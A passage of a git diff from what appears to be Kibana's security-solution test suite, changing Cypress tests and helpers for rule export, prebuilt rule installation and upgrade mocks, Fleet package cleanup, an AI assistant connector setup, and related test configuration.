Prevent installation of whole prebuilt rules package, use mock prebuilt rules instead preventPrebuiltRulesPackageInstallation(); visit(RULES_MANAGEMENT_URL); - createRule(getNewRule({ name: 'Rule to export', enabled: false })).as('ruleResponse'); + createRule(getCustomQueryRuleParams({ name: RULE_NAME, enabled: false })).as('ruleResponse'); }); - it('exports a custom rule', function () { + it('exports a custom rule from the rule management table', function () { exportRule('Rule to export'); cy.wait('@bulk_action').then(({ response }) => { - cy.wrap(response?.body).should('eql', expectedExportedRule(this.ruleResponse)); + expect(response?.statusCode).to.equal(200); cy.get(TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); }); }); + it('exports a custom rule from the rule details page', function () { + visitRuleDetailsPage(this.ruleResponse.body.id); + + exportRuleFromDetailsPage(); + + cy.wait('@bulk_action').then(({ response }) => { + expect(response?.statusCode).to.equal(200); + cy.get(SUCCESS_TOASTER_BODY).should('have.text', 'Successfully exported 1 of 1 rule.'); + }); + }); + it('creates an importable file from executed rule', () => { // Rule needs to be enabled to make sure it has been executed so rule's SO contains runtime fields like `execution_summary` - createRule(getNewRule({ name: 'Enabled rule to export', enabled: true })); + createRule(getCustomQueryRuleParams({ name: 'Enabled rule to export', enabled: true })); waitForRuleExecution('Enabled rule to export'); exportRule('Enabled rule to export'); @@ -117,7 +134,7 @@ describe('Export rules', { tags: ['@ess', '@serverless', '@skipInServerlessMKI'] // create rule with exceptions createExceptionList(exceptionList, exceptionList.list_id).then((response) => createRule( - getNewRule({ + getCustomQueryRuleParams({ name: 'rule with exceptions', exceptions_list: [ { diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/explore/cases/attach_alert_to_case.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/explore/cases/attach_alert_to_case.cy.ts index c3c7f31efc706..e4580c046e44a 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/explore/cases/attach_alert_to_case.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/explore/cases/attach_alert_to_case.cy.ts @@ -42,12 +42,12 @@ describe('Alerts timeline', () => { it('should not allow user with read only privileges to attach alerts to existing cases', () => { // Disabled actions for read only users are hidden, so the ... icon is not even shown - cy.get(TIMELINE_CONTEXT_MENU_BTN).should('not.exist'); + cy.get(TIMELINE_CONTEXT_MENU_BTN).should('be.disabled'); }); it('should not allow user with read only privileges to attach alerts to a new case', () => { // Disabled actions for read only users are hidden, so the ... icon is not even shown - cy.get(TIMELINE_CONTEXT_MENU_BTN).should('not.exist'); + cy.get(TIMELINE_CONTEXT_MENU_BTN).should('be.disabled'); }); }); diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/onboarding.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/onboarding.cy.ts index 5d776aed33132..2f35bd2186889 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/onboarding.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/onboarding.cy.ts @@ -75,7 +75,7 @@ export const SPLUNK_TEST_RULES = [ describe( 'Rule Migrations - Basic Workflow', { - tags: ['@ess', '@serverless'], + tags: ['@ess', '@serverless', '@skipInServerlessMKI'], }, () => { beforeEach(() => { diff --git a/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/translated_rules_page.cy.ts b/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/translated_rules_page.cy.ts index 3caef4efcf297..eedbc17039739 100644 --- a/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/translated_rules_page.cy.ts +++ b/x-pack/test/security_solution_cypress/cypress/e2e/investigations/siem_migrations/rules/translated_rules_page.cy.ts @@ -31,7 +31,7 @@ import { GET_STARTED_URL } from '../../../../urls/navigation'; describe( 'Rule Migrations - Translated Rules Page', { - tags: ['@ess', '@serverless'], + tags: ['@ess', '@serverless', '@skipInServerlessMKI'], }, () => { beforeEach(() => { diff --git a/x-pack/test/security_solution_cypress/cypress/objects/rule.ts b/x-pack/test/security_solution_cypress/cypress/objects/rule.ts index 884df20fe34b3..9b0c51ade68a7 100644 --- a/x-pack/test/security_solution_cypress/cypress/objects/rule.ts +++ b/x-pack/test/security_solution_cypress/cypress/objects/rule.ts @@ -13,7 +13,6 @@ import type { MachineLearningRuleCreateProps, NewTermsRuleCreateProps, QueryRuleCreateProps, - RuleResponse, SavedQueryRuleCreateProps, ThreatMatchRuleCreateProps, ThresholdRuleCreateProps, @@ -547,147 +546,6 @@ export const getEditedRule = (): QueryRuleCreateProps => tags: [...(getExistingRule().tags || []), 'edited'], }); -export const expectedExportedRules = (responses: Array>): string => { - const rules = responses - .map((response) => JSON.stringify(getFormattedRuleResponse(response))) - .join('\n'); - - // NOTE: Order of the properties in this object matters for the tests to work. - const details = { - exported_count: responses.length, - exported_rules_count: responses.length, - missing_rules: [], - missing_rules_count: 0, - exported_exception_list_count: 0, - exported_exception_list_item_count: 0, - missing_exception_list_item_count: 0, - missing_exception_list_items: [], - missing_exception_lists: [], - missing_exception_lists_count: 0, - exported_action_connector_count: 0, - missing_action_connection_count: 0, - missing_action_connections: [], - excluded_action_connection_count: 0, - excluded_action_connections: [], - }; - - return `${rules}\n${JSON.stringify(details)}\n`; -}; - -export const expectedExportedRule = (ruleResponse: Cypress.Response): string => { - const rule = getFormattedRuleResponse(ruleResponse); - - // NOTE: Order of the properties in this object matters for the tests to work. - const details = { - exported_count: 1, - exported_rules_count: 1, - missing_rules: [], - missing_rules_count: 0, - exported_exception_list_count: 0, - exported_exception_list_item_count: 0, - missing_exception_list_item_count: 0, - missing_exception_list_items: [], - missing_exception_lists: [], - missing_exception_lists_count: 0, - exported_action_connector_count: 0, - missing_action_connection_count: 0, - missing_action_connections: [], - excluded_action_connection_count: 0, - excluded_action_connections: [], - }; - - return `${JSON.stringify(rule)}\n${JSON.stringify(details)}\n`; -}; - -// TODO: Follow up https://github.com/elastic/kibana/pull/137628 and add an explicit type to this object -// without using Partial -const getFormattedRuleResponse = ( - ruleResponse: Cypress.Response -): Partial => { - const { - id, - updated_at: updatedAt, - updated_by: updatedBy, - created_at: createdAt, - created_by: createdBy, - description, - name, - risk_score: riskScore, - severity, - note, - tags, - interval, - enabled, - author, - false_positives: falsePositives, - from, - rule_id: ruleId, - max_signals: maxSignals, - risk_score_mapping: riskScoreMapping, - severity_mapping: severityMapping, - threat, - to, - references, - version, - exceptions_list: exceptionsList, - immutable, - rule_source: ruleSource, - related_integrations: relatedIntegrations, - setup, - investigation_fields: investigationFields, - license, - revision, - } = ruleResponse.body; - - let query: string | undefined; - if (ruleResponse.body.type === 'query') { - query = ruleResponse.body.query; - } - - // NOTE: Order of the properties in this object matters for the tests to work. - return { - id, - updated_at: updatedAt, - updated_by: updatedBy, - created_at: createdAt, - created_by: createdBy, - name, - tags, - interval, - enabled, - revision, - description, - risk_score: riskScore, - severity, - note, - license, - output_index: '', - investigation_fields: investigationFields, - author, - false_positives: falsePositives, - from, - rule_id: ruleId, - max_signals: maxSignals, - risk_score_mapping: riskScoreMapping, - severity_mapping: severityMapping, - threat, - to, - references, - version, - exceptions_list: exceptionsList, - immutable, - rule_source: ruleSource, - related_integrations: relatedIntegrations, - required_fields: [], - setup, - type: 'query', - language: 'kuery', - index: getIndexPatterns(), - query, - actions: [], - }; -}; - export const getEndpointRule = (): QueryRuleCreateProps => ({ type: 'query', query: 'event.kind:alert and event.module:(endpoint and not endgame)', diff --git a/x-pack/test/security_solution_cypress/cypress/screens/ai_assistant.ts b/x-pack/test/security_solution_cypress/cypress/screens/ai_assistant.ts index 60d9c8b249e05..89b96874abffe 100644 --- a/x-pack/test/security_solution_cypress/cypress/screens/ai_assistant.ts +++ b/x-pack/test/security_solution_cypress/cypress/screens/ai_assistant.ts @@ -50,3 +50,5 @@ export const SYSTEM_PROMPT_SELECT = (c: string) => `[data-test-subj="systemPromp export const UPGRADE_CTA = '[data-test-subj="upgradeLicenseCallToAction"]'; export const USER_PROMPT = '[data-test-subj="prompt-textarea"]'; export const WELCOME_SETUP = '[data-test-subj="welcome-setup"]'; +export const OPENAI_CONNECTOR_OPTION = '[data-test-subj="action-option-OpenAI"]'; +export const SECRETS_APIKEY_INPUT = '[data-test-subj="secrets.apiKey-input"]'; diff --git a/x-pack/test/security_solution_cypress/cypress/screens/alerts_detection_rules.ts b/x-pack/test/security_solution_cypress/cypress/screens/alerts_detection_rules.ts index 264a953a97aad..d75a7982202c4 100644 --- a/x-pack/test/security_solution_cypress/cypress/screens/alerts_detection_rules.ts +++ b/x-pack/test/security_solution_cypress/cypress/screens/alerts_detection_rules.ts @@ -156,7 +156,8 @@ export const TOASTER = '[data-test-subj="euiToastHeader"]'; export const TOASTER_MESSAGE = '[data-test-subj="errorToastMessage"]'; -export const SUCCESS_TOASTER = '[class*="euiToast-success"] [data-test-subj="euiToastHeader"]'; +export const SUCCESS_TOASTER_HEADER = + '[class*="euiToast-success"] [data-test-subj="euiToastHeader"]'; export const TOASTER_BODY = '[data-test-subj="globalToastList"] [data-test-subj="euiToastBody"]'; diff --git a/x-pack/test/security_solution_cypress/cypress/screens/install_prebuilt_rules.ts b/x-pack/test/security_solution_cypress/cypress/screens/install_prebuilt_rules.ts new file mode 100644 index 0000000000000..fd0625838cc36 --- /dev/null +++ b/x-pack/test/security_solution_cypress/cypress/screens/install_prebuilt_rules.ts @@ -0,0 +1,10 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +export const RULE_NAME = `[data-test-subj="ruleName"]`; +export const INSTALL_SINGLE_RULE_BUTTON = `[data-test-subj*="installSinglePrebuiltRuleButton"]`; +export const INSTALL_SINGLE_RULE_SPINNER = `[data-test-subj*="installSinglePrebuiltRuleButton-loadingSpinner"]`; diff --git a/x-pack/test/security_solution_cypress/cypress/tasks/alert_assignments.ts b/x-pack/test/security_solution_cypress/cypress/tasks/alert_assignments.ts index eb2f81b84071a..34316fa1a0102 100644 --- a/x-pack/test/security_solution_cypress/cypress/tasks/alert_assignments.ts +++ b/x-pack/test/security_solution_cypress/cypress/tasks/alert_assignments.ts @@ -91,7 +91,7 @@ export const checkEmptyAssigneesStateInAlertDetailsFlyout = () => { }; export const alertsTableMoreActionsAreNotAvailable = () => { - cy.get(TIMELINE_CONTEXT_MENU_BTN).should('not.exist'); + cy.get(TIMELINE_CONTEXT_MENU_BTN).should('be.disabled'); }; export const asigneesMenuItemsAreNotAvailable = () => { diff --git a/x-pack/test/security_solution_cypress/cypress/tasks/api_calls/prebuilt_rules.ts b/x-pack/test/security_solution_cypress/cypress/tasks/api_calls/prebuilt_rules.ts index cdda577b8792d..d5cce074341b9 100644 --- a/x-pack/test/security_solution_cypress/cypress/tasks/api_calls/prebuilt_rules.ts +++ b/x-pack/test/security_solution_cypress/cypress/tasks/api_calls/prebuilt_rules.ts @@ -5,12 +5,16 @@ * 2.0. */ +import { epmRouteService } from '@kbn/fleet-plugin/common'; import { PerformRuleInstallationResponseBody, PERFORM_RULE_INSTALLATION_URL, BOOTSTRAP_PREBUILT_RULES_URL, } from '@kbn/security-solution-plugin/common/api/detection_engine'; -import { ELASTIC_SECURITY_RULE_ID } from '@kbn/security-solution-plugin/common/detection_engine/constants'; +import { + ELASTIC_SECURITY_RULE_ID, + PREBUILT_RULES_PACKAGE_NAME, +} from '@kbn/security-solution-plugin/common/detection_engine/constants'; import type { PrePackagedRulesStatusResponse } from '@kbn/security-solution-plugin/public/detection_engine/rule_management/logic/types'; import { getPrebuiltRuleWithExceptionsMock } from '@kbn/security-solution-plugin/server/lib/detection_engine/prebuilt_rules/mocks'; import { createRuleAssetSavedObject } from '../../helpers/rules'; @@ -248,3 +252,48 @@ export const createAndInstallMockedPrebuiltRules = ( // Install rules into Kibana as `alerts` SOs return installSpecificPrebuiltRulesRequest(ruleAssets); }; + +const MAX_DELETE_FLEET_PACKAGE_RETRIES = 2; +const DELETE_FLEET_PACKAGE_DELAY_MS = 5000; + +const deleteFleetPackage = ( + packageName: string, + retries = MAX_DELETE_FLEET_PACKAGE_RETRIES, + delayMs = DELETE_FLEET_PACKAGE_DELAY_MS +): Cypress.Chainable> => { + const deleteWithRetries = (tried = 0): Cypress.Chainable> => { + if (tried > retries) { + throw new Error(`Error deleting ${packageName} package`); + } + + return rootRequest({ + method: 'DELETE', + url: epmRouteService.getRemovePath(packageName), + body: JSON.stringify({ force: true }), + failOnStatusCode: false, + }).then((response) => { + if (response.status === 200) { + cy.log(`Deleted ${packageName} package (was installed)`); + return; + } else if ( + response.status === 400 && + (response.body as { message?: string }).message === `${packageName} is not installed` + ) { + cy.log(`Deleted ${packageName} package (was not installed)`, response.body); + return; + } else { + cy.log(`Error deleting ${packageName} package`, response.body); + cy.wait(delayMs).then(() => deleteWithRetries(tried + 1)); + } + + if (!Cypress.env(IS_SERVERLESS)) { + refreshSavedObjectIndices(); + } + }); + }; + + return deleteWithRetries(); +}; + +export const deletePrebuiltRulesFleetPackage = (): Cypress.Chainable> => + deleteFleetPackage(PREBUILT_RULES_PACKAGE_NAME); diff --git a/x-pack/test/security_solution_cypress/cypress/tasks/assistant.ts b/x-pack/test/security_solution_cypress/cypress/tasks/assistant.ts index 46679cab08880..6da79e2225967 100644 --- a/x-pack/test/security_solution_cypress/cypress/tasks/assistant.ts +++ b/x-pack/test/security_solution_cypress/cypress/tasks/assistant.ts @@ -5,6 +5,7 @@ * 2.0. */ +import { CONNECTOR_NAME_INPUT, SAVE_ACTION_CONNECTOR_BTN } from '../screens/common/rule_actions'; import { azureConnectorAPIPayload } from './api_calls/connectors'; import { TIMELINE_CHECKBOX } from '../screens/timelines'; import { CLOSE_FLYOUT } from '../screens/alerts'; @@ -43,6 +44,8 @@ import { QUICK_PROMPT_BADGE, ADD_NEW_CONNECTOR, SEND_TO_TIMELINE_BUTTON, + OPENAI_CONNECTOR_OPTION, + SECRETS_APIKEY_INPUT, } from '../screens/ai_assistant'; export const openAssistant = (context?: 'rule' | 'alert') => { @@ -153,6 +156,14 @@ export const createSystemPrompt = ( cy.get(MODAL_SAVE_BUTTON).click(); }; +export const createOpenAIConnector = (connectorName: string) => { + cy.get(OPENAI_CONNECTOR_OPTION).click(); + cy.get(CONNECTOR_NAME_INPUT).type(connectorName); + cy.get(SECRETS_APIKEY_INPUT).type('1234'); + cy.get(SAVE_ACTION_CONNECTOR_BTN).click(); + cy.get(SAVE_ACTION_CONNECTOR_BTN).should('not.exist'); +}; + export const createQuickPrompt = ( title: string, prompt: string, diff --git a/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules.ts b/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules.ts index 175e1694bcabe..e4149ecb3d60e 100644 --- a/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules.ts +++ b/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules.ts @@ -15,7 +15,7 @@ import { RULES_UPDATES_TAB, RULES_UPDATES_TABLE, TOASTER, - SUCCESS_TOASTER, + SUCCESS_TOASTER_HEADER, } from '../screens/alerts_detection_rules'; import type { SAMPLE_PREBUILT_RULE } from './api_calls/prebuilt_rules'; import { @@ -64,10 +64,55 @@ export const interceptInstallationRequestToFail = (rules: Array ({ + rule_id: rule['security-rule'].rule_id, + name: rule['security-rule'].name, + })), + }, + ], + }, + delay: 500, // Add delay to give Cypress time to find the loading spinner + }).as('installPrebuiltRules'); +}; + +export const interceptInstallationRequestToFailPartially = ({ + rulesToSucceed, + rulesToFail, +}: { + rulesToSucceed: Array; + rulesToFail: Array; +}) => { + cy.intercept('POST', '/internal/detection_engine/prebuilt_rules/installation/_perform', { + body: { + summary: { + total: rulesToSucceed.length, + succeeded: rulesToSucceed.length, + skipped: 0, + failed: rulesToFail.length, + }, + results: { + created: rulesToSucceed.map((rule) => ({ + rule_id: rule['security-rule'].rule_id, + name: rule['security-rule'].name, + })), + skipped: [], + }, + errors: [ + { + message: 'Something went wrong during installation 🤷‍♀️', + rules: rulesToFail.map((rule) => ({ + rule_id: rule['security-rule'].rule_id, + name: rule['security-rule'].name, + })), + }, + ], }, delay: 500, // Add delay to give Cypress time to find the loading spinner }).as('installPrebuiltRules'); @@ -77,19 +122,59 @@ export const interceptUpgradeRequestToFail = (rules: Array ({ + rule_id: rule['security-rule'].rule_id, + name: rule['security-rule'].name, + })), + }, + ], + }, + delay: 500, // Add delay to give Cypress time to find the loading spinner + }).as('updatePrebuiltRules'); +}; + +export const interceptUpgradeRequestToFailPartially = ({ + rulesToSucceed, + rulesToFail, +}: { + rulesToSucceed: Array; + rulesToFail: Array; +}) => { + cy.intercept('POST', '/internal/detection_engine/prebuilt_rules/upgrade/_perform', { + body: { + summary: { + total: rulesToSucceed.length + rulesToFail.length, + succeeded: rulesToSucceed.length, + skipped: 0, + failed: rulesToFail.length, + }, + results: { + updated: rulesToSucceed.map((rule) => ({ + rule_id: rule['security-rule'].rule_id, + name: rule['security-rule'].name, + })), + skipped: [], }, + errors: [ + { + message: 'Something went wrong during upgrade 🤷‍♀️', + rules: rulesToFail.map((rule) => ({ + rule_id: rule['security-rule'].rule_id, + name: rule['security-rule'].name, + })), + }, + ], }, delay: 500, // Add delay to give Cypress time to find the loading spinner }).as('updatePrebuiltRules'); @@ -99,9 +184,9 @@ export const assertRuleInstallationSuccessToastShown = ( rules: Array ) => { const rulesString = rules.length > 1 ? 'rules' : 'rule'; - cy.get(SUCCESS_TOASTER) + cy.get(SUCCESS_TOASTER_HEADER) .should('be.visible') - .should('have.text', `${rules.length} ${rulesString} installed successfully.`); + .should('have.text', `${rules.length} ${rulesString} installed successfully`); }; export const assertRuleInstallationFailureToastShown = ( @@ -110,21 +195,21 @@ export const assertRuleInstallationFailureToastShown = ( const rulesString = rules.length > 1 ? 'rules' : 'rule'; cy.get(TOASTER) .should('be.visible') - .should('have.text', `${rules.length} ${rulesString} failed to install.`); + .should('have.text', `${rules.length} ${rulesString} failed to install`); }; export const assertRuleUpgradeSuccessToastShown = (rules: Array) => { const rulesString = rules.length > 1 ? 'rules' : 'rule'; - cy.get(SUCCESS_TOASTER) + cy.get(SUCCESS_TOASTER_HEADER) .should('be.visible') - .should('contain', `${rules.length} ${rulesString} updated successfully.`); + .should('contain', `${rules.length} ${rulesString} updated successfully`); }; export const assertRuleUpgradeFailureToastShown = (rules: Array) => { const rulesString = rules.length > 1 ? 'rules' : 'rule'; cy.get(TOASTER) .should('be.visible') - .should('have.text', `${rules.length} ${rulesString} failed to update.`); + .should('have.text', `${rules.length} ${rulesString} failed to update`); }; export const assertRulesPresentInInstalledRulesTable = ( diff --git a/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules/install_prebuilt_rules.ts b/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules/install_prebuilt_rules.ts new file mode 100644 index 0000000000000..83a6553f71101 --- /dev/null +++ b/x-pack/test/security_solution_cypress/cypress/tasks/prebuilt_rules/install_prebuilt_rules.ts @@ -0,0 +1,23 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { SUCCESS_TOASTER_HEADER } from '../../screens/alerts_detection_rules'; +import { INSTALL_SINGLE_RULE_BUTTON } from '../../screens/install_prebuilt_rules'; +import { getRuleRow } from '../alerts_detection_rules'; + +/** + * Installs a single prebuilt rule by clicking the install button + * in the rule's table row on Add Rules page + */ +export const installSinglePrebuiltRule = (ruleName: string) => { + getRuleRow(ruleName).find(INSTALL_SINGLE_RULE_BUTTON).click(); + + cy.get(SUCCESS_TOASTER_HEADER).should('have.text', '1 rule installed successfully'); + + // Wait for the success toaster to disappear + cy.get(SUCCESS_TOASTER_HEADER).should('not.exist'); +}; diff --git a/x-pack/test/security_solution_cypress/cypress/tasks/rules_management.ts b/x-pack/test/security_solution_cypress/cypress/tasks/rules_management.ts index 79af9992b9c12..a820324396816 100644 --- a/x-pack/test/security_solution_cypress/cypress/tasks/rules_management.ts +++ b/x-pack/test/security_solution_cypress/cypress/tasks/rules_management.ts @@ -6,7 +6,7 @@ */ import { LAST_BREADCRUMB, RULE_MANAGEMENT_PAGE_BREADCRUMB } from '../screens/breadcrumbs'; -import { RULES_MANAGEMENT_URL } from '../urls/rules_management'; +import { INSTALL_PREBUILT_RULES_URL, RULES_MANAGEMENT_URL } from '../urls/rules_management'; import { resetRulesTableState } from './common'; import { visit } from './navigation'; @@ -20,3 +20,7 @@ export function openRuleManagementPageViaBreadcrumbs(): void { cy.get(RULE_MANAGEMENT_PAGE_BREADCRUMB).not(LAST_BREADCRUMB).click(); cy.get(RULE_MANAGEMENT_PAGE_BREADCRUMB).filter(LAST_BREADCRUMB).should('exist'); } + +export function visitAddRulesPage(): void { + visit(INSTALL_PREBUILT_RULES_URL); +} diff --git a/x-pack/test/security_solution_cypress/cypress/urls/rules_management.ts b/x-pack/test/security_solution_cypress/cypress/urls/rules_management.ts index 03af67cfe79db..4df5d9d0a3773 100644 --- a/x-pack/test/security_solution_cypress/cypress/urls/rules_management.ts +++ b/x-pack/test/security_solution_cypress/cypress/urls/rules_management.ts @@ -5,6 +5,7 @@ * 2.0. */ +export const INSTALL_PREBUILT_RULES_URL = '/app/security/rules/add_rules'; export const RULES_MANAGEMENT_URL = '/app/security/rules/management'; export const RULES_MONITORING_URL = '/app/security/rules/monitoring'; export const RULES_COVERAGE_OVERVIEW_URL = '/app/security/rules_coverage_overview'; diff --git a/x-pack/test/security_solution_endpoint/apps/integrations/artifact_entries_list.ts b/x-pack/test/security_solution_endpoint/apps/integrations/artifact_entries_list.ts index 68cd96a62adfe..d6ffff52d3f50 100644 --- a/x-pack/test/security_solution_endpoint/apps/integrations/artifact_entries_list.ts +++ b/x-pack/test/security_solution_endpoint/apps/integrations/artifact_entries_list.ts @@ -221,7 +221,7 @@ export default ({ getPageObjects, getService }: FtrProviderContext) => { for (const testData of getArtifactsListTestsData()) { // FLAKY: https://github.com/elastic/kibana/issues/219465 - describe.skip(`When on the ${testData.title} entries list`, function () { + describe(`When on the ${testData.title} entries list`, function () { beforeEach(async () => { policyInfo = await policyTestResources.createPolicy(); await removeAllArtifacts(); diff --git a/x-pack/test/security_solution_endpoint/services/endpoint_policy.ts b/x-pack/test/security_solution_endpoint/services/endpoint_policy.ts index 4928905a79956..ce2e1e08c8435 100644 --- a/x-pack/test/security_solution_endpoint/services/endpoint_policy.ts +++ b/x-pack/test/security_solution_endpoint/services/endpoint_policy.ts @@ -256,10 +256,18 @@ export function EndpointPolicyTestResourcesProvider({ getService }: FtrProviderC .expect(200); log.info(`Fleet Endpoint integration policy deleted: ${packagePolicy.id}`); } catch (error) { - logSupertestApiErrorAndThrow( - `Unable to delete Endpoint Integration Policy [${packagePolicy.id}] via Fleet!`, - error - ); + // Handle cases where package policy might already be deleted or doesn't exist + const statusCode = error?.response?.status; + if (statusCode === 404 || statusCode === 500) { + log.warning( + `Package Policy [${packagePolicy.id}] may already be deleted or not found (${statusCode}). Continuing cleanup...` + ); + } else { + logSupertestApiErrorAndThrow( + `Unable to delete Endpoint Integration Policy [${packagePolicy.id}] via Fleet!`, + error + ); + } } // Delete Agent Policy @@ -274,10 +282,18 @@ export function EndpointPolicyTestResourcesProvider({ getService }: FtrProviderC .expect(200); log.info(`Fleet Agent policy deleted: ${agentPolicy.id}`); } catch (error) { - logSupertestApiErrorAndThrow( - `Unable to delete Agent Policy [${agentPolicy.id}] via Fleet!`, - error - ); + // Handle cases where agent policy might already be deleted or doesn't exist + const statusCode = error?.response?.status; + if (statusCode === 404 || statusCode === 500) { + log.warning( + `Agent Policy [${agentPolicy.id}] may already be deleted or not found (${statusCode}). Continuing cleanup...` + ); + } else { + logSupertestApiErrorAndThrow( + `Unable to delete Agent Policy [${agentPolicy.id}] via Fleet!`, + error + ); + } } }, }; diff --git a/x-pack/test/spaces_api_integration/common/services.ts b/x-pack/test/spaces_api_integration/common/services.ts deleted file mode 100644 index 0e9428124bc2b..0000000000000 --- a/x-pack/test/spaces_api_integration/common/services.ts +++ /dev/null @@ -1,16 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { services as apiIntegrationServices } from '../../api_integration/services'; -import { services as commonServices } from '../../common/services'; -import { RoleScopedSupertestProvider } from '../deployment_agnostic/services/role_scoped_supertest'; - -export const services = { - ...commonServices, - usageAPI: apiIntegrationServices.usageAPI, - roleScopedSupertest: RoleScopedSupertestProvider, -}; diff --git a/x-pack/test/spaces_api_integration/deployment_agnostic/services/index.ts b/x-pack/test/spaces_api_integration/deployment_agnostic/services/index.ts deleted file mode 100644 index 656aab1cab731..0000000000000 --- a/x-pack/test/spaces_api_integration/deployment_agnostic/services/index.ts +++ /dev/null @@ -1,20 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { RoleScopedSupertestProvider } from './role_scoped_supertest'; -import { services as deploymentAgnosticServices } from '../../../api_integration/deployment_agnostic/services'; -import { services as apiIntegrationServices } from '../../../api_integration/services'; -import { services as commonServices } from '../../../common/services'; - -export type { SupertestWithRoleScopeType } from './role_scoped_supertest'; - -export const services = { - ...commonServices, - ...deploymentAgnosticServices, - usageAPI: apiIntegrationServices.usageAPI, - roleScopedSupertest: RoleScopedSupertestProvider, -}; diff --git a/x-pack/test/tsconfig.json b/x-pack/test/tsconfig.json index da1d253dda572..d6b7cbe7271f9 100644 --- a/x-pack/test/tsconfig.json +++ b/x-pack/test/tsconfig.json @@ -27,7 +27,6 @@ "@kbn/test-suites-src", "@kbn/core", "@kbn/data-plugin", - "@kbn/kibana-usage-collection-plugin", "@kbn/share-plugin", "@kbn/telemetry-collection-manager-plugin", "@kbn/alerting-plugin", @@ -39,7 +38,6 @@ "@kbn/features-plugin", "@kbn/global-search-plugin", "@kbn/infra-plugin", - "@kbn/licensing-plugin", "@kbn/ml-plugin", "@kbn/observability-plugin", "@kbn/security-plugin", @@ -65,7 +63,6 @@ "@kbn/maps-plugin", "@kbn/test-subj-selector", "@kbn/rison", - "@kbn/reporting-plugin", "@kbn/aiops-plugin", "@kbn/logging", "@kbn/utility-types", @@ -82,7 +79,6 @@ "@kbn/rule-registry-plugin", "@kbn/controls-plugin", "@kbn/core-saved-objects-server", - "@kbn/core-provider-plugin", "@kbn/user-profile-components", "@kbn/apm-synthtrace-client", "@kbn/cloud-integration-saml-provider-plugin", @@ -98,16 +94,13 @@ "@kbn/observability-shared-plugin", "@kbn/server-route-repository", "@kbn/core-http-common", - "@kbn/lens-plugin", "@kbn/logs-shared-plugin", "@kbn/observability-onboarding-plugin", "@kbn/uptime-plugin", "@kbn/ml-category-validator", "@kbn/observability-ai-assistant-plugin", - "@kbn/es", "@kbn/metrics-data-access-plugin", "@kbn/dataset-quality-plugin", - "@kbn/reporting-common", "@kbn/io-ts-utils", "@kbn/security-plugin-types-common", "@kbn/slo-schema", @@ -128,8 +121,6 @@ "@kbn/securitysolution-exceptions-common", "@kbn/securitysolution-endpoint-exceptions-common", "@kbn/osquery-plugin", - "@kbn/mock-idp-utils", - "@kbn/saved-objects-management-plugin", "@kbn/alerting-types", "@kbn/ai-assistant-common", "@kbn/core-deprecations-common", @@ -156,6 +147,6 @@ "@kbn/core-chrome-browser", "@kbn/event-log-plugin", "@kbn/management-settings-ids", - "@kbn/intercepts-plugin", + "@kbn/core-provider-plugin", ] } diff --git a/x-pack/test_serverless/api_integration/test_suites/common/search_xpack/search.ts b/x-pack/test_serverless/api_integration/test_suites/common/search_xpack/search.ts index bd7e38a6c7318..57c344eca8c20 100644 --- a/x-pack/test_serverless/api_integration/test_suites/common/search_xpack/search.ts +++ b/x-pack/test_serverless/api_integration/test_suites/common/search_xpack/search.ts @@ -75,6 +75,7 @@ export default function ({ getService }: FtrProviderContext) { .set(roleAuthc.apiKeyHeader) .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -104,6 +105,7 @@ export default function ({ getService }: FtrProviderContext) { .set(roleAuthc.apiKeyHeader) .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -133,6 +135,7 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'foo') .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -180,6 +183,7 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'foo') .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -218,6 +222,7 @@ export default function ({ getService }: FtrProviderContext) { .set(omit(svlCommonApi.getInternalRequestHeader(), 'kbn-xsrf')) .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -239,6 +244,7 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'foo') .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -262,6 +268,7 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'foo') .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -383,6 +390,7 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'foo') .send({ params: { + index: 'search-api-test', body: { query: { match_all: {}, @@ -430,6 +438,7 @@ export default function ({ getService }: FtrProviderContext) { .set('kbn-xsrf', 'foo') .send({ params: { + index: 'search-api-test', body: { 